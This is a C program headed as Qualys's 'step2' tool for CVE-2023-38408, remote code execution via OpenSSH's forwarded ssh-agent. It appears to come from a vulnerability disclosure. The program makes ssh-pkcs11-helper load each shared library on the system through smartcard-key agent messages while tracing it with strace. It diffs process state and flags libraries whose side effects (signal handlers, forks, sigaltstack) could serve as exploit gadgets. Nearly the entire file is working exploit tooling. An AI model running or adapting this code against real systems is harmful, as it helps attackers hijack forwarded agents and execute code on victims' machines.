/*
 * CVE-2023-38408: Remote Code Execution in OpenSSH's forwarded ssh-agent
 * ./step2
 * Copyright (C) 2023 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static int
is_shared_object(const char * const path)
{
    ElfW(Ehdr) eh;
  {
    const int fd = open(path, O_RDONLY | O_NOFOLLOW);
    if (fd <= -1) return 0;
    const ssize_t nr = read(fd, &eh, sizeof(eh));
    if (close(fd)) die();
    if (nr != (ssize_t)sizeof(eh)) return 0;
  }
    if (eh.e_ident[EI_MAG0] != ELFMAG0 ||
        eh.e_ident[EI_MAG1] != ELFMAG1 ||
        eh.e_ident[EI_MAG2] != ELFMAG2 ||
        eh.e_ident[EI_MAG3] != ELFMAG3 ||
        eh.e_ident[EI_CLASS] != ELFCLASS64 ||
        eh.e_ident[EI_DATA] != ELFDATA2LSB ||
        eh.e_machine != EM_X86_64 ||
        eh.e_type != ET_DYN)
        return 0;
    if (eh.e_version != EV_CURRENT) die();
    if (eh.e_ehsize != sizeof(ElfW(Ehdr))) die();
    if (eh.e_phentsize != sizeof(ElfW(Phdr))) die();
    return 1;
}

static void
path_to_name(const char * const path, char * const name, const size_t size)
{
    if (strchr(path, '!')) die();
    size_t i;
    for (i = 0; ; i++) {
        if (i >= size) die();
        name[i] = (path[i] != '/') ? path[i] : '!';
        if (path[i] == '\0') break;
    }
}

#define SSH_AGENT_FAILURE                       5
#define SSH_AGENT_SUCCESS                       6

#define SSH_AGENTC_ADD_SMARTCARD_KEY            20
#define SSH_AGENTC_REMOVE_SMARTCARD_KEY         21

static int
send_recv_msg(const int fd, const uint8_t type, const char * const path)
{
    const size_t path_len = strlen(path);
    if (path_len >= PATH_MAX) die();

    uint8_t msg[PATH_MAX + 32];
    uint8_t * cp = msg;
    *(uint32_t *)cp = htonl(1 + 4 + path_len + 4 + 0);
    cp += 4;
    *cp++ = type;
    *(uint32_t *)cp = htonl(path_len);
    cp += 4;
    memcpy(cp, path, path_len);
    cp += path_len;
    *(uint32_t *)cp = htonl(0);
    cp += 4;

    const size_t msg_len = cp - msg;
    if (msg_len >= sizeof(msg)) die();
    if (msg_len != 4 + 1 + 4 + path_len + 4 + 0) die();
    if (send(fd, msg, msg_len, MSG_NOSIGNAL) != (ssize_t)msg_len) die();

    if (fd <= -1) die();
    if (fd >= FD_SETSIZE) die();
    fd_set readfds;
    FD_ZERO(&readfds);
    FD_SET(fd, &readfds);
    struct timeval timeout = { .tv_sec = 60 };
    const int ready = select(fd + 1, &readfds, NULL, NULL, &timeout);
    if (ready == 0) return -1;
    if (ready != 1) die();

    const ssize_t nr = recv(fd, msg, sizeof(msg), 0);
    if (nr == 0) return -1;
    if (nr <= 0) die();
    switch (type) {
    case SSH_AGENTC_ADD_SMARTCARD_KEY:
        if (nr != 4 + 1 + 4 &&
            nr != 4 + 1) return -1;
        break;
    case SSH_AGENTC_REMOVE_SMARTCARD_KEY:
        if (nr != 4 + 1) die();
        break;
    default:
        die();
    }
    if (ntohl(*(const uint32_t *)msg) != nr - 4) die();
    if (msg[4] != SSH_AGENT_FAILURE) die();
    return 0;
}

static void
cat_proc(const pid_t pid, const char * const in, const char * const out)
{
    char buf[PATH_MAX];
    if ((unsigned)snprintf(buf, sizeof(buf), "/proc/%ld/%s", (long)pid, in)
                             >= sizeof(buf)) die();
    FILE * const in_fp = fopen(buf, "r");
    FILE * const out_fp = fopen(out, "w");
    if (!out_fp) die();
    if (in_fp) {
        while (fgets(buf, sizeof(buf), in_fp)) {
            if (!strchr(buf, '\n')) die();
            if (!strncmp(buf, "Vm", 2) ||
                !strncmp(buf, "Rss", 3) ||
                strstr(buf, "HugetlbPages:") ||
                strstr(buf, "voluntary_ctxt_switches:") ||
                strstr(buf, "State:") ||
                strstr(buf, "[heap]\n"))
                continue;
            if (fputs(buf, out_fp) <= 0) die();
        }
        if (fclose(in_fp)) die();
    }
    if (fclose(out_fp)) die();
}

static int
diff_unlink(const char * const in1, const char * const in2, const char * const out)
{
    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid == 0) {
        const int fd = open(out, O_WRONLY | O_CREAT | O_EXCL, 0600);
        if (fd <= STDERR_FILENO) die();
        if (dup2(fd, STDIN_FILENO) != STDIN_FILENO) die();
        if (dup2(fd, STDOUT_FILENO) != STDOUT_FILENO) die();
        if (dup2(fd, STDERR_FILENO) != STDERR_FILENO) die();
        if (close(fd)) die();
        const char * const argv[] = { "/usr/bin/diff", "-u", in1, in2, NULL };
        execve(*argv, (char * const *)argv, NULL);
        die();
    }
    int status;
    if (waitpid(pid, &status, 0) != pid) die();
    if (!WIFEXITED(status)) die();
    switch (WEXITSTATUS(status)) {
    case 0:
        if (unlink(out)) die();
        /* fallthrough */
    case 1:
        if (unlink(in1)) die();
        if (unlink(in2)) die();
        break;
    default:
        die();
    }
    return WEXITSTATUS(status);
}

static int
grep_patterns(const char * const in, const char * const * patterns)
{
    const int fd = open(in, O_RDONLY | O_NOFOLLOW);
    if (fd <= -1) die();

    struct stat sb;
    if (fstat(fd, &sb)) die();
    if (!S_ISREG(sb.st_mode)) die();
    if (sb.st_size <= 0) die();
    if (sb.st_size >= SSIZE_MAX) die();

    const size_t size = sb.st_size;
    const void * const addr = mmap(NULL, size, PROT_READ, MAP_PRIVATE, fd, 0);
    if (addr == MAP_FAILED) die();
    if (close(fd)) die();

    int match = 0;
    for (;;) {
        const char * const pat = *patterns++;
        if (!pat) break;
        if (memmem(addr, size, pat, strlen(pat))) {
            match = 1;
            break;
        }
    }
    if (munmap((void *)addr, size)) die();
    return match;
}

int
main(void)
{
  {
    const struct {
        const char * file;
        const char * value;
    } proc[] = {
        { "/proc/sys/kernel/core_pattern", "\n" },
        { "/proc/sys/kernel/core_uses_pid", "0\n" },
        { "/proc/sys/kernel/yama/ptrace_scope", "0\n" },
    };
    size_t i;
    for (i = 0; i < sizeof(proc) / sizeof(*proc); i++) {
        const int fd = open(proc[i].file, O_RDONLY);
        if (fd <= -1) die();
        char buf[256];
        const ssize_t nr = read(fd, buf, sizeof(buf));
        if (close(fd)) die();
        if (nr <= 0) die();
        if ((size_t)nr >= sizeof(buf)) die();
        if ((size_t)nr != strlen(proc[i].value) ||
            memcmp(buf, proc[i].value, nr)) {
            fprintf(stderr, "echo '%.*s' > %s\n", (int)strcspn(proc[i].value, "\n"), proc[i].value, proc[i].file);
            die();
        }
    }
  }
  {
    int signum;
    for (signum = 1; signum < 100; signum++) {
        if (signal(signum, SIG_DFL) != SIG_ERR) continue;
        if (errno != EINVAL) die();
    }
  }
  {
    char base[] = "/tmp/step2.XXXXXX";
    if (!mkdtemp(base)) die();
    if (chdir(base)) die();
    fprintf(stderr, "%s\n", base);
  }
    FILE * const find_fp = popen("find /usr/lib* /usr/local/lib* -type f 2>/dev/null", "re");
    if (!find_fp) die();

    unsigned objects = 0;
    unsigned gadgets = 0;
    char path[PATH_MAX + 1];
    while (fgets(path, sizeof(path), find_fp)) {
        char * const nl = strchr(path, '\n');
        if (!nl) die();
        *nl = '\0';
        if (strncmp(path, "/usr/l", 6)) die();
        if (!is_shared_object(path)) continue;
        objects++;
        if (!(objects % 1000)) fprintf(stderr, "objects %u ...\n", objects);

        char name[NAME_MAX + 1];
        path_to_name(path, name, sizeof(name));
        if (mkdir(name, 0700)) die();
        if (chdir(name)) die();

        int pkcs_fds[2];
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, pkcs_fds)) die();
        if (pkcs_fds[0] <= STDERR_FILENO) die();
        if (pkcs_fds[1] <= STDERR_FILENO) die();
        const pid_t pkcs_pid = fork();
        if (pkcs_pid <= -1) die();
        const int pkcs_fd = pkcs_fds[!pkcs_pid];
        if (close(pkcs_fds[!!pkcs_pid])) die();

        if (pkcs_pid == 0) {
            if (dup2(pkcs_fd, STDIN_FILENO) != STDIN_FILENO) die();
            if (dup2(pkcs_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
            if (close(pkcs_fd)) die();
            const int stderr_fd = open("stderr", O_WRONLY | O_CREAT | O_EXCL, 0600);
            if (stderr_fd <= STDERR_FILENO) die();
            if (dup2(stderr_fd, STDERR_FILENO) != STDERR_FILENO) die();
            if (close(stderr_fd)) die();
            const char * const pkcs_helper = "/usr/lib/openssh/ssh-pkcs11-helper";
            execlp(pkcs_helper, pkcs_helper, (const char *)NULL);
            die();
        }

        if (send_recv_msg(pkcs_fd, SSH_AGENTC_REMOVE_SMARTCARD_KEY, "/")) die();

        const pid_t strace_pid = fork();
        if (strace_pid <= -1) die();
        if (strace_pid == 0) {
            if (close(pkcs_fd)) die();
            const int null_fd = open("/dev/null", O_RDWR);
            if (null_fd <= STDERR_FILENO) die();
            if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
            if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
            if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();
            if (close(null_fd)) die();

            char pkcs_pidstr[32];
            if ((unsigned)snprintf(pkcs_pidstr, sizeof(pkcs_pidstr), "%ld", (long)pkcs_pid)
                                             >= sizeof(pkcs_pidstr)) die();
            const char * const strace_argv[] = { "/usr/bin/strace", "-f", "-s", "128", "-o", "strace", "-p", pkcs_pidstr, NULL };
            execve(*strace_argv, (char * const *)strace_argv, NULL);
            die();
        }
        struct stat sb;
        for (;;) {
            if (lstat("strace", &sb)) continue;
            if (!S_ISREG(sb.st_mode)) die();
            if (sb.st_size <= 0) continue;
            break;
        }

        cat_proc(pkcs_pid, "status", "status1");
        cat_proc(pkcs_pid, "maps", "maps1");
        const int recv_error = send_recv_msg(pkcs_fd, SSH_AGENTC_ADD_SMARTCARD_KEY, path);
        static const char * const background_patterns[] = { " clone(", " vfork(", " fork(", NULL };
        if (grep_patterns("strace", background_patterns)) {
            struct stat old_sb;
            if (stat("strace", &old_sb)) die();
            int z;
            for (z = 0; z < 6; z++) {
                sleep(10);
                if (stat("strace", &sb)) die();
                if (!memcmp(&old_sb, &sb, sizeof(sb))) break;
                memcpy(&old_sb, &sb, sizeof(sb));
            }
        }
        cat_proc(pkcs_pid, "status", "status2");
        cat_proc(pkcs_pid, "maps", "maps2");
        const int diff_status = diff_unlink("status1", "status2", "status");
        const int diff_maps = diff_unlink("maps1", "maps2", "maps");

        if (kill(pkcs_pid, SIGKILL)) die();
        int pkcs_status;
        if (waitpid(pkcs_pid, &pkcs_status, 0) != pkcs_pid) die();
        if (close(pkcs_fd)) die();

        if (lstat("stderr", &sb)) die();
        if (!S_ISREG(sb.st_mode)) die();
        const int stderr_bytes = sb.st_size > 0;
        if (!stderr_bytes) {
            if (unlink("stderr")) die();
        }

        if (waitpid(strace_pid, NULL, 0) != strace_pid) die();
        static const char * const interesting_patterns[] = {
            "RLIMIT_CPU", "RLIMIT_FSIZE", "RLIMIT_RTTIME",
            "SIGABRT", "SIGALRM", "SIGBUS", "SIGCHLD", "SIGCONT", "SIGFPE", "SIGHUP", "SIGILL",
            "SIGINT", "SIGIO", "SIGPIPE", "SIGPROF", "SIGPWR", "SIGQUIT", "SIGRT_1", "SIGSEGV",
            "SIGSTKFLT", "SIGSYS", "SIGTERM", "SIGTRAP", "SIGTSTP", "SIGTTIN", "SIGTTOU", "SIGURG",
            "SIGUSR1", "SIGUSR2", "SIGVTALRM", "SIGWINCH", "SIGXCPU", "SIGXFSZ",
            "sigaltstack", "SA_ONSTACK", " clone(", " vfork(", " fork(", NULL };
        const int grep_match = grep_patterns("strace", interesting_patterns);
        if (!recv_error && !diff_status && !diff_maps && !stderr_bytes && !grep_match) {
            if (unlink("strace")) die();
        } else {
            gadgets++;
        }
        if (chdir("..")) die();
        (void) rmdir(name);
    }
    (void) pclose(find_fp);
    fprintf(stderr, "objects %u\n", objects);
    fprintf(stderr, "gadgets %u\n", gadgets);
    exit(EXIT_SUCCESS);
}
